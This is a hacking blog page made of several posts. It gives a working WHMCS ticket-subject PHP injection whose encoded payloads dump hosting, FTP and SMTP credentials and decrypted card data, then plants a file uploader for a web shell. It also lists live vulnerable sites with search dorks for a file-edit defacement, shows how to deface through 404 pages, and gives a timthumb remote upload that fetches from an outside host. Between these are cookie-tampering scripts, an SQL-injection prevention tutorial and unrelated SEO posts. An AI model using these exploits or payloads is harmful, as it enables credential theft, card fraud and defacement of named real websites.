WHMCS Hacking with Sumbit Ticket exploit

Hi Mates !
Today we are going to learn, how to Hack WHMCS or you can say its submit ticket exploit ,through which we will we will get the cpanel username and password of hosting panel and website hosted on that whmcs.
lets start
step 1 
Get a website which provide hosting  and find out the option  " submit ticket"
step 2
now open submit ticket option and click on sales department

step 3
now we have to fill the following
info like "name , email address, urgency put any random info is these fields and main thing is subject filed"

fill this code in subject field

{php}evaL(base64_decode('DQppbmNsdWRlKCdjb25maWd1cmF0aW9uLnBocCcpOw0KDQokcXVlcnkgPSBteXNxbF9xdWVyeSgiU0VMRUNUICogRlJPTSB0YmxzZXJ2ZXJzIik7DQokdGV4dD0kdGV4dC4iXHJcbiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMgSE9TVCBST09UUyAjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyNcclxuIjsNCndoaWxlKCR2ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHF1ZXJ5KSkgew0KDQokaXBhZGRyZXNzID0gJHZbJ2lwYWRkcmVzcyddOw0KJHVzZXJuYW1lID0gJHZbJ3VzZXJuYW1lJ107DQokdHlwZSA9ICR2Wyd0eXBlJ107DQokYWN0aXZlID0gJHZbJ2FjdGl2ZSddOw0KJGhvc3RuYW1lID0gJHZbJ2hvc3RuYW1lJ107DQoNCg0KJHBhc3N3b3JkID0gZGVjcnlwdCAoJHZbJ3Bhc3N3b3JkJ10sICRjY19lbmNyeXB0aW9uX2hhc2gpOw0KDQokdGV4dD0kdGV4dC4iVHlwZSAkdHlwZVxyXG4iOw0KJHRleHQ9JHRleHQuIkFjdGl2ZSAkYWN0aXZlXHJcbiI7DQokdGV4dD0kdGV4dC4iSG9zdG5hbWUgJGhvc3RuYW1lXHJcbiI7DQokdGV4dD0kdGV4dC4iSXAgJGlwYWRkcmVzc1xyXG4iOw0KJHRleHQ9JHRleHQuIlVzZXJuYW1lICR1c2VybmFtZVxyXG4iOw0KJHRleHQ9JHRleHQuIlBhc3N3b3JkICRwYXNzd29yZFxyXG4qKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKlxyXG4iOw0KDQoNCn0NCiR0ZXh0PSR0ZXh0LiJcclxuIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyBIT1NUIFJPT1RTICMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjI1xyXG4iOw0KDQokdGV4dD0kdGV4dC4iXHJcbiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMgRG9tYWluIFJlc2VsbGVyICMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjI1xyXG4iOw0KDQokcXVlcnkgPSBteXNxbF9xdWVyeSgiU0VMRUNUICogRlJPTSB0YmxyZWdpc3RyYXJzIik7DQoNCndoaWxlKCR2ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHF1ZXJ5KSkgew0KDQokcmVnaXN0cmFyIAk9ICR2WydyZWdpc3RyYXInXTsNCiRzZXR0aW5nID0gJHZbJ3NldHRpbmcnXTsNCiR2YWx1ZSA9IGRlY3J5cHQgKCR2Wyd2YWx1ZSddLCAkY2NfZW5jcnlwdGlvbl9oYXNoKTsNCmlmICgkdmFsdWU9PSIiKSB7DQokdmFsdWU9MDsNCn0NCiRwYXNzd29yZCA9IGRlY3J5cHQgKCR2WydwYXNzd29yZCddLCAkY2NfZW5jcnlwdGlvbl9oYXNoKTsNCiR0ZXh0PSR0ZXh0LiIkcmVnaXN0cmFyICRzZXR0aW5nICR2YWx1ZVxyXG4iOw0KfQ0KJHRleHQ9JHRleHQuIlxyXG4jIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIERvbWFpbiBSZXNlbGxlciAjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyNcclxuIjsNCg0KJHRleHQ9JHRleHQuIlxyXG4jIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIEZUUCArU01UUCAjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyNcclxuIjsNCgkkcXVlcnkgPSBteXNxbF9xdWVyeSgiU0VMRUNUICogRlJPTSB0Ymxjb25maWd1cmF0aW9uIHdoZXJlIHNldHRpbmc9J0ZUUEJhY2t1cEhvc3RuYW1lJyBvciBzZXR0aW5nPSdGVFBCYWNrdXBVc2VybmFtZScgb3IgIHNldHRpbmc9J0ZUUEJhY2t1cFBhc3N3b3JkJyBvciAgc2V0dGluZz0nRlRQQmFja3VwRGVzdGluYXRpb24nIG9yICBzZXR0aW5nPSdTTVRQSG9zdCcgb3IgIHNldHRpbmc9J1NNVFBVc2VybmFtZScgb3Igc2V0dGluZz0nU01UUFBhc3N3b3JkJyBvciAgc2V0dGluZz0nU01UUFBvcnQnIik7DQp3aGlsZSgkdiA9IG15c3FsX2ZldGNoX2FycmF5KCRxdWVyeSkpIHsNCiR2YWx1ZSA9JHZbJ3ZhbHVlJ107DQppZiAoJHZhbHVlPT0iIikgew0KJHZhbHVlPTA7DQp9DQoNCiR0ZXh0PSR0ZXh0LiR2WydzZXR0aW5nJ10uIiAiLiR2YWx1ZS4iXHJcbiIgOw0KCQ0KfQ0KCQ0KCQ0KCSR0ZXh0PSR0ZXh0LiJcclxuIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyBGVFAgK1NNVFAgIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjXHJcbiI7DQoJDQoJCSR0ZXh0PSR0ZXh0LiJcclxuIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyBDbGllbnQgUjAwdHMgIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjXHJcbiI7DQogJHF1ZXJ5ID0gbXlzcWxfcXVlcnkoIlNFTEVDVCAqIEZST00gdGJsaG9zdGluZyB3aGVyZSB1c2VybmFtZSA9ICdyb290JyBvciB1c2VybmFtZSA9ICdBZG1pbicgb3IgdXNlcm5hbWUgPSAnYWRtaW4nIG9yIHVzZXJuYW1lID0gJ0FkbWluaXN0cmF0b3InIG9yICB1c2VybmFtZSA9ICdhZG1pbmlzdHJhdG9yJyBvcmRlciBieSBkb21haW5zdGF0dXMiKTsNCg0KIA0KICAgIHdoaWxlKCR2ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHF1ZXJ5KSkgew0KICAgJHRleHQ9JHRleHQuIlxyXG5Eb21haW4gIi4kdlsnZG9tYWluJ10uIlxyXG5JUCAiLiR2WydkZWRpY2F0ZWRpcCddLiJcclxuVXNlcm5hbWUgIi4kdlsndXNlcm5hbWUnXS4iXHJcblBhc3N3b3JkICIuZGVjcnlwdCAoJHZbJ3Bhc3N3b3JkJ10sICRjY19lbmNyeXB0aW9uX2hhc2gpLiJcclxuRG9tYWluc3RhdHVzIi4kdlsnZG9tYWluc3RhdHVzJ10uIlxyXG4iOw0KICAgIH0NCgkkdGV4dD0kdGV4dC4iXHJcbiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMgQ2xpZW50IFIwMHRzICMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjI1xyXG4iOw0KCQ0KCQkkdGV4dD0kdGV4dC4iXHJcbiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMgQ2xpZW50IEhPU1QgIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjXHJcbiI7DQogJHF1ZXJ5ID0gbXlzcWxfcXVlcnkoIlNFTEVDVCAqIEZST00gdGJsaG9zdGluZyB3aGVyZSBkb21haW5zdGF0dXM9J0FjdGl2ZSciKTsNCg0KIA0KICAgIHdoaWxlKCR2ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHF1ZXJ5KSkgew0KCWlmICgoJHZbJ3VzZXJuYW1lJ10gKSBhbmQgKCR2WydwYXNzd29yZCddKSkgew0KICAgJHRleHQ9JHRleHQuIlxyXG5Eb21haW4gIi4kdlsnZG9tYWluJ10uIlxyXG5JUCAiLiR2WydkZWRpY2F0ZWRpcCddLiJcclxuVXNlcm5hbWUgIi4kdlsndXNlcm5hbWUnXS4iXHJcblBhc3N3b3JkICIuZGVjcnlwdCAoJHZbJ3Bhc3N3b3JkJ10sICRjY19lbmNyeXB0aW9uX2hhc2gpLiJcclxuRG9tYWluc3RhdHVzIi4kdlsnZG9tYWluc3RhdHVzJ10uIlxyXG4iOw0KICAgIH0NCgl9DQoJJHRleHQ9JHRleHQuIlxyXG4jIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIENsaWVudCBIT1NUICMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjI1xyXG4iOw0KCQ0KCQ0KCQkkdGV4dD0kdGV4dC4iXHJcbiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMgQ2xpZW50IENDICMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjI1xyXG4iOw0KCSRxdWVyeSA9IG15c3FsX3F1ZXJ5KCJTRUxFQ1QgKiBGUk9NIGB0YmxjbGllbnRzYCBXSEVSRSBjYXJkdHlwZSA8PiAnJyBvcmRlciBieSBpc3N1ZW51bWJlciBkZXNjIik7DQoNCgkNCndoaWxlKCR2ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHF1ZXJ5KSkgew0KJGNjaGFzaCA9IG1kNSggJGNjX2VuY3J5cHRpb25faGFzaC4kdlsnMCddKTsNCiRzPSAgbXlzcWxfcXVlcnkoInNlbGVjdCBjYXJkdHlwZSxBRVNfREVDUllQVChjYXJkbnVtLCd7JGNjaGFzaH0nKSBhcyBjYXJkbnVtLEFFU19ERUNSWVBUKGV4cGRhdGUsJ3skY2NoYXNofScpIGFzIGV4cGRhdGUsQUVTX0RFQ1JZUFQoaXNzdWVudW1iZXIsJ3skY2NoYXNofScpIGFzIGlzc3VlbnVtYmVyLEFFU19ERUNSWVBUKHN0YXJ0ZGF0ZSwneyRjY2hhc2h9JykgYXMgc3RhcnRkYXRlICBGUk9NIGB0YmxjbGllbnRzYCB3aGVyZSBpZD0nIi4kdlsnMCddLiInIiApOw0KDQokdjI9bXlzcWxfZmV0Y2hfYXJyYXkoJHMpOw0KDQogICR0ZXh0PSR0ZXh0LiJcclxuIi4kdjJbMF0uInwiLiR2MlsxXS4ifCIuJHYyWzJdLiJ8Ii4kdjJbM10uInwiLiR2Mls0XTsNCn0NCg0KDQogICANCiANCgkkdGV4dD0kdGV4dC4iXHJcbiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMgQ2xpZW50IENDICMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjI1xyXG4iOw0KCQ0KCWVjaG8oJHRleHQpOw=='));exit;{/php}

and scroll down fill the Captcha click the submit button


we will be redirected to next page where it will show cpanel username and password
boom ! you have cpanel usernames and passwords of hosting panel,website hosted on that server
if you are lucky , you may also get the FTP and SMTP passwords too !


ok it was all about the the cpanel,FTP and SMTP passwords  if whmcs dont have any website hosted on it you wont get anything then ????????
dont be sad :)
we have one more trick and this will help you to upload the shell on whmcs website :)
how ???
lets move :)
come back to the submit ticket page put any random info in email,name and urgency field
 main step is to put the php code in subject field this time we are going to put the php code, if it got executed successfully we will get a uploader on the website through which  we will be able to upload shell on the website so lets start
fill the any random info in other fields and put this php code in subject field

{php}eval(base64_decode('JGM9YmFzZTY0X2RlY29kZSgiUEQ5d2FIQU5DbWxtS0dsemMyVjBLQ1JmVUU5VFZGc25VM1ZpYldsMEoxMHBLWHNOQ2lBZ0lDQWtabWxzWldScGNpQTlJQ0lpT3lBTkNpQWdJQ0FrYldGNFptbHNaU0E5SUNjeU1EQXdNREF3SnpzTkNnMEtJQ0FnSUNSMWMyVnlabWxzWlY5dVlXMWxJRDBnSkY5R1NVeEZVMXNuYVcxaFoyVW5YVnNuYm1GdFpTZGRPdzBLSUNBZ0lDUjFjMlZ5Wm1sc1pWOTBiWEFnUFNBa1gwWkpURVZUV3lkcGJXRm5aU2RkV3lkMGJYQmZibUZ0WlNkZE93MEtJQ0FnSUdsbUlDaHBjM05sZENna1gwWkpURVZUV3lkcGJXRm5aU2RkV3lkdVlXMWxKMTBwS1NCN0RRb2dJQ0FnSUNBZ0lDUmhZbTlrSUQwZ0pHWnBiR1ZrYVhJdUpIVnpaWEptYVd4bFgyNWhiV1U3RFFvZ0lDQWdJQ0FnSUVCdGIzWmxYM1Z3Ykc5aFpHVmtYMlpwYkdVb0pIVnpaWEptYVd4bFgzUnRjQ3dnSkdGaWIyUXBPdzBLSUNBTkNtVmphRzhpUEdObGJuUmxjajQ4WWo1RWIyNWxJRDA5UGlBa2RYTmxjbVpwYkdWZmJtRnRaVHd2WWo0OEwyTmxiblJsY2o0aU93MEtmUTBLZlEwS1pXeHpaWHNOQ21WamFHOG5EUW84Wm05eWJTQnRaWFJvYjJROUlsQlBVMVFpSUdGamRHbHZiajBpSWlCbGJtTjBlWEJsUFNKdGRXeDBhWEJoY25RdlptOXliUzFrWVhSaElqNDhhVzV3ZFhRZ2RIbHdaVDBpWm1sc1pTSWdibUZ0WlQwaWFXMWhaMlVpUGp4cGJuQjFkQ0IwZVhCbFBTSlRkV0p0YVhRaUlHNWhiV1U5SWxOMVltMXBkQ0lnZG1Gc2RXVTlJbE4xWW0xcGRDSStQQzltYjNKdFBpYzdEUXA5RFFvL1BpQT0iKTsNCiRmaWNoaWVyID0gZm9wZW4oJ2Rvd25sb2Fkcy9pbmRleHgucGhwJywndycpOw0KZndyaXRlKCRmaWNoaWVyLCAkYyk7DQpmY2xvc2UoJGZpY2hpZXIpOw=='));exit;{/php}

fill the captcha  click enter, now first of all , have a look on the submit ticket url 
for example 
http://www.website.com/client/submitticket.php 
so to get the uploader replace the submitticket.php with downloads/indexx.php
remember its indexx.php,when code will execute , it will create indexx.php and its uploader
so open the url
http://www.website.com/client/downloads/indexx.php
you will see file upload option !

browse the shell and click upload  after uploading shell
opn the url
http://www.website.com/client/downloads/shell_name.php
hell yeah
owned :D

[Guest Post]

Preventing sql injections

Hi Guys !
here, this is a quick tutorial on 'preventing sql injections', don't wrry if u don't know php, this is php friendly :)

There are usually two types of attacks :

• 1. URL based 
• 2. Form based 

Major reason for both of them is 'badly architectured parametres'
many say That remove/rename or unlink the database configuration file, ofcourse this will work but this is NOT the solution, as it will halt the functionality of the site, your
Dynamic website will turn into just html pages in seconds, this is anologus to condition like, because of fear of robbery you don't buy anything for yourself too: P
what we will be doing is sanitizing and validating php variables, we have make sure That our critical global arrays like get, post, files, session, cookies etc allow data which we
Want them to store and nothing else, because we can't trust the fact that users will enter expected data. What we mean is suppose you have site script like this:

blabla.com/news.php?id=8

Now what dis means is, in our "news.php" script (in global GET array) we have an array location $_GET[id] which contains the value which is being passed via URL,
In our case it is '8', what usually careless admins do is, pass on the get[] as it is to the database query which is to be executed so that proper content for id=8
Can be extracted from database and thrown on the user screen, SQL query can be like :

$news_query = "SELECT * FROM news WHERE NEWS ='".$_GET['id']."'";

Now if we manipulate the URL and write 'something' in place of 'expected' integer then we may break normal query and can execute our own queries!
by breaking a query i mean, as in the above example we wrote

NEWS ='$_GET[id]'

if instead of expected id we write something like ==> 8'; eval_query; #
now what our new url is ==> blabla.com/news.php?id=8'; eval_query; #
our new query becomes ==> $news_query = "SELECT * FROM news WHERE NEWS ='8'; eval_query; #';
# is used to comment out query part after it, so now as u can see our "eval query" will be executed with normal expected query, eval query can be { DROP TABLE news} which will drop the "news"!
we can prevent this if instead of directly using get[] variable in query we first validate them and then use them, by validating I mean, we make sure that URL variables contains
only that data which we want them to store and nothing else (in this case, we want integers for id values), this depend on the programming of the script, we may sometimes want alphabets(lower case or upper case or both),
numbers, some special characters etc . . . php gives us some function to do the same :
in this case we can use "preg_replace" or maybe 'ereg_replace', i advertise preg_replace cause it has lot more functionality and is faster than ereg :) [you can search php.net if you want details about them]
so here we want only numbers in id fiels so we wil add this line before querying it :

$id = $_GET['id'];
$vald_id = preg_replace('#[^0-9]#i', '', $id);

first line is getting id variable from url via get and storing it in local variable $id, next we are cleaning it using preg_replace, so that it only contains numbers from 0-9 (if anything else is there it will replace it with a blank.space) and nothing else, we will use this cleaned variable
$vald_id in our query.
if we want some(defined) special characters along with alphabets we can write (in place of [^0-9]) :

preg_replace('#[^A-Za-z,.?$@!]#i', '', $id);

Now how to patch panels/forms of sites against sql
suppose there is an admin panel say
blabla.com/admin/
hit [ctrl+u] view source, crawl source and search for [action=], cause every html form will be processin and submitting form elements using php scripts, if its written something like
action="<?php echo $PHP_SELF;?>" ==> this means php script is calling itself and its processing is done in same script
if instead there ist written :
action="login.php" [it can also call lol.php dosn't matter :P]
this means all form data goes to login.php processed there and then sent to database. Main culprit is login.php because it is not filtering variables correcty!
go to login.php, it wil be having lines looking like
$username = $_POST['user'];
$pass=$_POST['pass'];
$loginquery = "SELECT * FROM tbl_admin WHERE username ='$username' AND password = '$pass'";
$result = mysql_query($loginquery);
so we need to clean POST array elements before using them in a query

we will use preg_replace as before and we will also use
strip_tags as we don't want any html javascript elements in our form data,
basic syntax is ==> strip_tags($variable)
if you want to allow certain tags like <br> then we can also do that as ==> strip_tags($var, '<br>')
  i intended to make a short tut but i failed :p hope you 

About The Author : This Post was written by Saad Abbasi,

Saad Abbasi is Ethical Hacker and Pentester.

"Java Script editor" Remote File edit Vulnerability

"Java Script editor" Vulnerability is a web application Vulnerability, we can upload our deface page on websites by replacing file's source code with our deface Code,
Vulnerable URL : /accounts.newone/javascript/editor/example05_editingfile/default.php
dork : inurl: /accounts.newone/javascript/editor/example05_editingfile/
         inurl:/accounts.newone/javascript/
         inurl:/accounts.newone/javascript/editor/
Goto website.com//accounts.newone/javascript/editor/example05_editingfile/default.php
(URL's example may be chnaged like example04 and example 02 etc)
Now click on edit source code and paste your deface Page's source there
and save file, check image for Explanation

Live demo :
https://atlaschb.com/accounts.newone/javascript/editor/example05_editingfile/default.php
Other vulnrable websites :
https://peacereformed.org/accounts.newone/javascript/editor/example05_editingfile/default.php
https://jbgint.com/accounts.newone/javascript/editor/example05_editingfile/default.php
https://newrcachurch.org/accounts.newone/javascript/editor/example05_editingfile/default.php
https://concertcourse.com/accounts.newone/javascript/editor/example05_editingfile/default.php
https://hostingwithservice.com/accounts.newone/javascript/editor/example05_editingfile/default.php
https://resalesperson.com/accounts.newone/javascript/editor/example05_editingfile/default.php
https://resalesblog.com/accounts.newone/javascript/editor/example05_editingfile/default.php
https://geo-jo.com/accounts.newone/javascript/editor/example05_editingfile/default.php
https://classiccarlift.com/accounts.newone/javascript/editor/example05_editingfile/default.php
https://businessofrealestatebrokerage.com/accounts.newone/javascript/editor/example05_editingfile/default.php
https://newark.com/accounts.newone/javascript/editor/example05_editingfile/default.php
https://fairwestswing.com/accounts.newone/javascript/editor/example05_editingfile/default.php
https://northlibertyplaza.com/accounts.newone/javascript/editor/example05_editingfile/default.php
https://designingresults.com/accounts.newone/javascript/editor/example05_editingfile/default.php
https://computerconstruction.com/accounts.newone/javascript/editor/example05_editingfile/default.php
https://cltia.org/accounts.newone/javascript/editor/example05_editingfile/default.php
https://retiringok.com/accounts.newone/javascript/editor/example05_editingfile/default.php
https://itdrtw.com/accounts.newone/javascript/editor/example05_editingfile/default.php
https://citytractor.com/accounts.newone/javascript/editor/example05_editingfile/default.php
https://carolinesinteriors.com/accounts.newone/javascript/editor/example05_editingfile/default.php
https://bzfiend.com/accounts.newone/javascript/editor/example05_editingfile/default.php
https://beyourselfmarketing.com/accounts.newone/javascript/editor/example05_editingfile/default.php
https://atlaschb.com/accounts.newone/javascript/editor/example05_editingfile/default.php
https://427heaven.com/accounts.newone/javascript/editor/example05_editingfile/default.php
https://wreckdisk.com/accounts.newone/javascript/editor/example05_editingfile/default.php
https://century21-heritage.com/accounts/javascript/editor/example05_editingfile/default.php

"Google under the water" an awesome Interference of Google Image search

Google under water is an image search Interference, based on Jquery and javascripts, 

just type and keyword for image search and hit enter :)

experiance the under water search !!

http://www.google.com.hk/intl/zh-CN/landing/shuixia/

How To Make 404 Pages in Defaced websites by Using shell

What are 404 pages ? 

its a page or file which is no longer available on website,

Advantages of 404 pages in website Defacing :

if someone will trying to acess to your shell by guessing like (c99.php, r57.php etc) then it will show your custom page on Not found Link.

in Defaced site usually we upload our deface page as index.html or anyname.html

and we can see our deface page on That custom link only where we uploaded our deface page 

like : site.com/index.html, site.com/r00t.html site.com/r00t.php

by adding deface page's code in 404 page you can see your deface page on every link 

like site.com/xyz.php site.com/x.html site.com/xyz/, 

                                                   Before

 

                                                     After

How to do it ?

1-open Note Pad

2- paste your deface page's code in noatepad

3- save file as 404.shtml 

5- now upload this file in public_html/ directory using shell

now check any error link !!

Code for 404 Pages :

<style type="text/css">body { background-color: #000;}</style>
<img src="http://a3.sphotos.ak.fbcdn.net/hphotos-ak-snc7/s720x720/432146_157462177702828_100003171391108_222151_895998112_n.jpg" width="1198" height="765" />
(replace image link with your own image in this code)

8 Secret Ways to Promote Your Coming Soon Page and Post

When you are thinking about an effective coming soon page, you should take into consideration two main things: design and promotion. Only by mixing these two features you can gain a lot of visitors and subscribers.
So, your task is to create an eye catching underconstruction page which people will like so much that they tell other people about it. And this fame we'll be the first step to your success!

Let's start our journey to the branding achievement.
When your striking and memorable upcoming page is ready, it's time to begin your well- thought promotion of the project.

1-Start tweeting


It means not only tweet it once via your personal profile, it means to try to spread the word about your page within the whole Twitter society. How to do it? Just keep in mind:
- ask familiar bloggers, designers or people whose work is related to your sphere to tweet your coming soon page. If their twitter profiles have a good amount of followers news about your creation can quickly become popular and viral.Don't ask your friends to tweet the page if they don't work in the same sphere, it won't work, you'll get no effect, just only waste your priceless time.
- Find lists like "coming soon pages" on twitter and tweet your teaser sheet using "#list". When someone else will look for a roundup of underconstruction pages and utilize slash sign, the page of your upcoming website will be featured.
- Mention famous bloggers or popular artists in your tweet, the sign "@" is very powerful tool to draw someone's attention, so don't neglect it.

- There are also many paid resources that can bring you much new viewers. We we'll
mention only some of them:

2-Fivver 


The name says for itself, at this website freelancers post what they can do for a fee of $5. Here you'll find a good variety of different offers, from blog commenting to guest posting.
As we are interested in tweets, you can find a person who tweet from 50 or more account only for $5 and order their services. So surf through the categories and choose the most appropriate for you and your project.
3-Buy sell ads


BuySellAds is an online marketplace which connects website owners, advertisers and bloggers. If you know this service only as the ads provider, now you should remember that it's also a very helpful tool when you need a tweet. Just open the site, choose "tweets" category and find the most appropriate for you.
4-Retweet.it


It’s a friendly community that gladly helps you to tweet the news about your project. You can buy their tweets, or you can share tweets of others, gain points and then spend it by tweeting about your website.

5-Pay4Tweet


If you need tons of tweet traffic, this service is a really nice solution! Here are different types of tweets of different grade and value, so even with $0.02 you can purchase a tweet. But remember an important proverb: stingy always pays twice. So before buying, check out the amplification of the tweet owner on Klout!
6-Facebook Fan page


Nowadays almost everyone has a Facebook profile and spend a lot of spare or even work time here :). Take an advantage of Facebook and create fan page fully dedicated to your project. Post all updates, news and contests here and interact with your readers. Soon you'll receive the feedback and appreciate the real power of Facebook society!
7-Guest posting

Writing articles to other blogs is one of the most important conditions of your successful existence on the Web. For example, what do you get when contribute to other websites and blogs? Lets see:
- links in the body of the article;
- links in the author's byline;
- your gravatar will be featured to the whole Internet audience. You have an amazing opportunity to become a well-known person within blogging community.
8-Only one call to action


The most important element of coming soon page is a call to action button or a subscription box. It has to be prominent, easily noticeable. Just look at the example below and at the bright design accents. Would you leave an email here?
Author's Bio :

Emily Williams is a curious blogger obsessed with article writing. She is the chief editor of  DesignWebKit blog which is the key to all up to date design trends and technologies.
 Follow her on Twitter

My Experience with Google on 2012

Google is one of the indispensable search engines in the present scenario. It occupies the major role for most of SEO experts. Moreover, it offers great benefits for every person, website owners and the common day-to-day viewers. Frankly speaking, do not need to go for a depression test, rather chill out for here is some really awesome experience of Google.

Google + an effective networking site
Google has made some changes from the start of 2012, while mainly the looks and its effective performance are noted in recent months. Social networking sites frame an important role for marketing. If you are an avid blogger or an SEO expert make sure to use networking sites that helps in reaching the clients directly. The recent Google +, a networking site from Google is been used as a strong SEO tool by every visitors and bloggers.
Here sharing some of the experiences with using Google 2012 and its recent launch Google +.
Back links and Google +
At the start of this year, I created three blogs on WordPress. All the three blogs were peak rank domains based on different functions. The niches were actually based on games, productivity and careers.
I managed to create efficient back links for the first two niches games and productivity, (i.e.)

I concentrated in promoting at an equal level for both the sites. When working with contentupdates one of the sites from the two was regularly updated than the other.
Google + an effective SEO tool
I made it a point to use social marketing for the last site (careers), which I didn’t focus much on link building or content marketing. I used some of popular networking sites like Google +, Facebook, Twitter for the promotions. I was able to build my site as well I was getting valuable comments, mentions from the networking people.
The result was truly surprising, which I found the site that is promoted using Google +, via social media has gained high web traffic than the other two blogs. It was the one that I spend very less time but has managed to gain in front at search traffic.
Advantages of Google web master tool
While posting blogs or searching at Google search engine you will notice a +1 widget. This helps to increase your search rankings and that is one of easy ways to reach the targeted clients. You can also avoid spam posts or links by watching this +1 widget.

Relevant link building

I was able to learn another fact about marketing in recent Google version that is linking to relevant sources will prove beneficial results in search rankings. Link building with inappropriate sources or contents will lose its value in short time. It is better you can start link building to proper sources as per your content.

Social media and SEO

Though content writing, press releases and submissions, back links frame an important role in SEO social media also play an equal part that has to be considered for effective marketing. Google +, one of the latest social networking sites has many advantages, which every SEO expert can make complete use of it.

About the author: Claudia is a blogger by profession. She loves writing on luxury and technology.These days she is busy in reviewing some christmas decorating ideas.

wordpress timthumb remote file upload Vulnerability

wordpress timthumb remote file upload Vulnerability

in this Vulnerability you can include any file (every format allowed)on Vulnerable wrdpress website
this bug known as "timthumb.php" exploit
exploit: http://wordpresssite.com/wp-content/plugins/highlighter/libs/timthumb.php?src=http://websiteite.com/anyfile.fileformat
example :  http://wordpresssite.com/wp-content/plugins/highlighter/libs/timthumb.php?src=http://www.devilscafe.in/deface.html
after acessing this url that file will upload on website remotly on website
to view your uploaded file goto :
http://wordpresssite.com/wp-content/plugins/highlighter/libs/temp/yourfilehere
(file will upload with a random name like fe0555b78d04cb3c76cff7e10cf05b77, check last file to view your file)
live Demo : http://www.currentlyobsessed.com/wp-content/plugins/highlighter/libs/timthumb.php?src=http://pastehtml.com/view/btuwhb6nl.html
Result :http://www.currentlyobsessed.com/wp-content/plugins/highlighter/libs/temp/1dc2c9907ce70a6ed472bbb1cad3cf71.html

Liked Post ? leave a Comment :)

Javascript Injection : Fun with Javascripts

javascript Injection is Similar to CSRF vulnerability ,
its just for fun, but sometimes you can get cookies of vulnerable website by using Javascript injection,
Take a Look of javascript injection
[Note : working in Firefox Only]
Alert and Changing Title on Website 
Javascript: alert(document.title = "title name");
You can Chnage Title of website by putting this script in you browser
and you'll get a Alert too ..
Message On website on alert Box 
Javascript: alert("you message here");
use this script for more than one message
javascript: alert("First message"); alert("second message"); alert("Third message");

you can show you message on website by putting this script on browser URL box
Getting Cookies By javascripts
you can use these scripts to get and chnage cookies of website

alert(document.cookie);
javascript:void(document.cookie="Cookie_name=Cookie_value");
javascript:void(document.cookie="username=user123"); alert(document.cookie);
javascript:void(document.cookie="username=user123"); void(document.cookie="password=pass123"); alert(document.cookie);

Killer Tips To Increase traffic on your Blog

As per one estimate, there are more than 156 million public blogs found across the globe. But how many of these are read and followed or even found over any search engine is a big question. Creating any blog for business or any other purpose is a simple thing to do; however, making it popular across your readers is a challenge. You have to invest your time, money and efforts in getting the right target audience for your blog. The below mentioned tips would guide you to get a substantial amount of traffic to your blog.

Incorporate quality content:This is the most important element of blogging. People come in search for interesting and useful content at various blogs. Updating content on a regular basis with useful and quality content can help you in getting traffic to your blog. If you frequently update your blog with a proper weekly schedule, you would get repeat visitors. This will also make your blog search engine friendly improving your web page rankings over prominent search engines. To drive effective traffic to your blog, you should always have meaningful in your posts along with proper frequency.
The search engines:
You very well understand the importance of content optimization with popular and relevant keyword and key phrase research. However, this doesn’t mean that your content comes with excessive use of keywords or key phrases. By doing this, you will reduce the quality of your blog posts. Besides, these keywords should be used in your title, description and tags. Further, you need couple of quality inbound links as an effective SEO strategy. For this, you need to put your blog content over popular sites and blogs related to your niche area and link back to your blog. While linking back, you should rely on using popular and relevant keywords. These things will make your blog more visible over popular search engines.
Harness the power of comments:
Commenting is an easy and effective tool to increase traffic to your blog. To begin with, you need to respond the comments left over your blog posts by your visitors and thus trigger a two way communication. This will improve reader loyalty. Secondly, you need to leave comments on other blogs; this will help you to pull new and unique visitors. While leaving comments, you should include your blog’s URL; this will help you in creating backlinks for your blog. It is therefore important to leave meaningful comments over other blogs and provide a link to read more on your blog.
Guest posts:
The idea of guest posting is really helpful in getting a decent amount of readers or traffic to your blog. This is pretty different than adding comments. Once you are able to connect with any popular blog of your niche area, create the opportunity for guest posts. If you post something interesting, useful and relevant content, you can certainly expect a good amount of traffic to your blog.
Try forums:You can find a wide range of forums unlike the way you see blogs. You just have to find a relevant forum of your niche area subject and keep posting on a frequent basis.

Submit your posts on social bookmarking sites:
In order to boost traffic to your blog, you can think of submitting your quality posts and articles to various social bookmarking sites. Submitting your best posts at sites like StumbleUpon, Digg, Reddit, etc. are simple ways of getting good traffic to your blog. 

To run your blog with success, you need traffic. Trying the above tips and tricks can help you get a substantial amount of traffic to your blog. You just have to try these ideas with consistency to reap the best result.

About the author: Claudia is a blogger by profession. She loves writing on luxury and technology. She recently read an article on style that attracted her attention. These days she is busy in writing an article on mobile phones.